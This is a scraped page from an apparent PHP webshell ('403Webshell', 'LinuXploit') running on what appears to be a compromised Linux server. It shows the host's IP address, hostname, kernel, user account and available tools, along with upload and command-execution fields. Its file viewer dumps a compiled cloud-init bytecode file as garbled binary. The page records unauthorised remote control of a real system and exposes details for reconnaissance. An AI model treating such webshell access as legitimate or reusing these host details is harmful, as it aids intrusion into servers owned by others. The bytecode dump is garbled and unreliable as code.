403Webshell
Server IP : 3.138.164.131  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux ns1.techtime.me 4.18.0-147.8.1.el8.lve.1.x86_64 #1 SMP Mon Jun 29 09:55:57 EDT 2020 x86_64
User : injazaat ( 1471)
PHP Version : 8.1.20
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3.6/site-packages/cloudinit/sources/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/cloudinit/sources/__pycache__/DataSourceCloudSigma.cpython-36.pyc
3

��b��@s�ddlZddlmZddlmZddlmZddlmZddlm	Z	m
Z
eje�Z
Gdd�dej�ZeZeejffgZd	d
�ZdS)�N)�	b64decode)�dmi)�log)�sources)�SERIAL_PORT�Cepkoc@sNeZdZdZdZdd�Zdd�Zdd�Zd	d
�Zddd
�Z	dd�Z
dd�ZdS)�DataSourceCloudSigmaz�
    Uses cepko in order to gather the server context from the VM.

    For more information about CloudSigma's Server Context:
    http://cloudsigma-docs.readthedocs.org/en/latest/server_context.html
    Z
CloudSigmacCs$t�|_d|_tjj||||�dS)N�)r�cepko�ssh_public_keyr�
DataSource�__init__)�selfZsys_cfgZdistro�paths�r�*/usr/lib/python3.6/DataSourceCloudSigma.pyr
szDataSourceCloudSigma.__init__cCs>tjd�tjd�}|s&tjd�dStjd|�d|j�kS)z
        Uses dmi data to detect if this instance of cloud-init is running
        in the CloudSigma's infrastructure.
        z0determining hypervisor product name via dmi datazsystem-product-namez-system-product-name not available in dmi dataFzdetected hypervisor as %sZ
cloudsigma)�LOG�debugrZ
read_dmi_data�lower)rZsys_product_namerrr�is_running_in_cloudsigma!s


z-DataSourceCloudSigma.is_running_in_cloudsigmacCs�d}|j�sdSy|jj�j}|d}Wntk
rFtjd�dSX|j|jd�g�|_	|t
jkrjdS|jdd�jd�}|jd	d�|_
d	|kr�t|j
�|_
d
|jdi�kr�|dd
|_||_|d|_d
S)zj
        Metadata is the whole server context and /meta/cloud-config is used
        as userdata.
        NF�metaz+CloudSigma: Unable to read from serial portzcloudinit-dsmode�
base64_fieldsr	�,zcloudinit-user-data�	cloudinitZvendor_datarT)rr
�all�result�	ExceptionrrZ_determine_dsmode�get�dsmoderZDSMODE_DISABLED�splitZuserdata_rawrZvendordata_raw�metadatar)rrZserver_contextZserver_metarrrr�	_get_data/s,


zDataSourceCloudSigma._get_datacCsdtS)z/Return the subplatform metadata source details.z
cepko (%s))r)rrrr�_get_subplatformSsz%DataSourceCloudSigma._get_subplatformFcCs<tjd|jd�r$|jddd�S|jdjd�dSdS)z�
        Cleans up and uses the server's name if the latter is set. Otherwise
        the first part from uuid is being used.
        z^[A-Za-z0-9 -_\.]+$�nameN�=�uuid�-r)�re�matchr r)rZfqdnZ
resolve_ipZ
metadata_onlyrrr�get_hostnameWsz!DataSourceCloudSigma.get_hostnamecCs|jgS)N)r)rrrr�get_public_ssh_keysasz(DataSourceCloudSigma.get_public_ssh_keyscCs
|jdS)Nr%)r )rrrr�get_instance_iddsz$DataSourceCloudSigma.get_instance_idN)FFF)�__name__�
__module__�__qualname__�__doc__Zdsnamer
rr!r"r)r*r+rrrrrs$

rcCstj|t�S)zK
    Return a list of data sources that match this set of dependencies
    )rZlist_from_depends�datasources)Zdependsrrr�get_datasource_listrsr1)r'�base64rrrrZloggingrZcloudinit.cs_utilsrrZ	getLoggerr,rrrZDataSourceCloudSigmaNetZDEP_FILESYSTEMr0r1rrrr�<module>s
W

Youez - 2016 - github.com/yon3zu
LinuXploit